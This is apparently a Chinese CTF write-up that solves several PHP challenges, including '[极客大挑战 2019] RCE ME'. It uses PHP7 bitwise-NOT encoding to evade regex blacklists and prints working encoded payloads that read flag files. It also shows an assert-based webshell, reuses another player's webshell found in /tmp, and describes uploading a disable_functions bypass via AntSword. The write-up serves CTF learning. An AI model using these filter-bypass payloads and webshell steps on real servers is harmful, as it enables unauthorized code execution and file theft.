主要记录一下这两天遇到的题目,详细的记录一下利用PHP7特性去绕过黑名单,顺便分享一下以此特性生成的过狗马

0X01

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图1

根据题目可以看出来,主要目的是为了让我们绕过正则匹配,之后执行getFlag()函数,这里指出了一个思路,因为题目是基于php7的,我们可以根据php7的特性进行解题

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图2

可以具体的分析一下,根据php官方所说的意思,与原来版本不同的是:

  1. phpinfo() #php5、php7可执行
  2. (phpinfo)() #php7可执行

所以在php7的环境里,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的”^”和”~”由于异或的字符较多,我比较习惯使用”~”(取1的补数,例如5,它的二进制就是101,那么它的补数就应该是010就是2)

下面是生成方式,使用URL编码的原因是,在进行”~”运算时,经常会生成不可见字符

  1. $a = "phpinfo";
  2. echo urlencode(~$a);
  3. %8F%97%8F%96%91%99%90 //phpinfo

尝试执行一下:

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图3

可以看到成功的执行了phpinfo函数,下一步就非常简单了,直接执行getFlag()函数即可

  1. $a = "getFlag";
  2. echo urlencode(~$a);
  3. %98%9A%8B%B9%93%9E%98 //getFlag

执行

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图4

这全程抄袭人家的,主要知道php7的特性用”~”来做题的思路就好

0X02([极客大挑战 2019]RCE ME)

题目环境:

http://114.116.44.23:40001/

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图5

这道题相比于上一道题来说,就不是简单的让我们去执行函数了,而是让我们通过限制去进行目录查看执行命令等操作。依然是用原来的方法使用”~”

  1. $a = "phpinfo";
  2. echo urlencode(~$a);
  3. %8F%97%8F%96%91%99%90 //phpinfo

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图6

执行了phpinfo查看一下呗禁用的函数

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图7

可以发现我们常用的执行系统命令的函数都被ban了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数

  1. print_r(scandir('./'));

进行编码

  1. %8F%8D%96%91%8B%A0%8D # print_r
  2. %8C%9C%9E%91%9B%96%8D # scandir

尝试读取当前的目录

  1. (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图8

尝试获取根目录内容

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图9

发现了readflag和flag文件,尝试一下直接读取flag

  1. readfile('/flag');

编码一下

  1. %8D%9A%9E%9B%99%96%93%9A # readfile
  2. %D0%99%93%9E%98 # /flag

尝试读取一下readflag文件

  1. (~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图10

可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被ban了,但是经过fuzz发现,php的assert函数没有被ban,我们可以使用assert函数写shell

  1. assert($_POST['a']);

编码一下

  1. %9E%8C%8C%9A%8D%8B # assert
  2. %DB%A0%AF%B0%AC%AB # $_POST
  3. %9E # a

尝试一下

  1. (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图11

空白啥都没有

继续尝试别的方法吧

在查看tmp目录下发现有其他内容

  1. print_r(scandir('./'));

编码一下

  1. (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("~%D0%8B%92%8F")));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图12

为啥我啥都没有!草!

…某不知名大型跑马场,有现成的就很方便,随便读一个shell看看内容

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图13

尝试文件包含一下

  1. assert(include("hack.php"););

编码一下执行命令

  1. (~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图14

成功执行命令,使用蚁剑连接一下,上传我们的bypass脚本和扩展库

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图15

  1. assert(include("ssll.php"););
  1. (~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

执行命令

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图16

0X03

访问题目

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图17

看到这是一个类似计算器的页面,查看源码发现calc.php

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图18

访问页面发现是一个代码审计题目,依旧是绕过黑名单执行命令

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图19

与前面不同的是,题目只对一些特殊符号进行了过滤,首先测试绕过了$str执行函数,这里有一篇文章讲述了原理,我们在输入的参数面前加%20即空格,即可以绕过waf

https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg

尝试用一下

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图20

成功执行phpinfo,下一步就是看一下能不能直接查看系统目录,使用:

  1. print_r(scandir("./"));

因为存在黑名单中”/“,这里我们同样使用”~”去绕过

编码一下

  1. print_r(scandir((~%D1%D0)));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图21

成功获取当前页面的目录列表,下一步获取根目录列表

  1. print_r(scandir((~%D0)));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图22

发现flagg文件,尝试读一下

  1. readfile((~%D0%99%CE%9E%98%98));

记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图23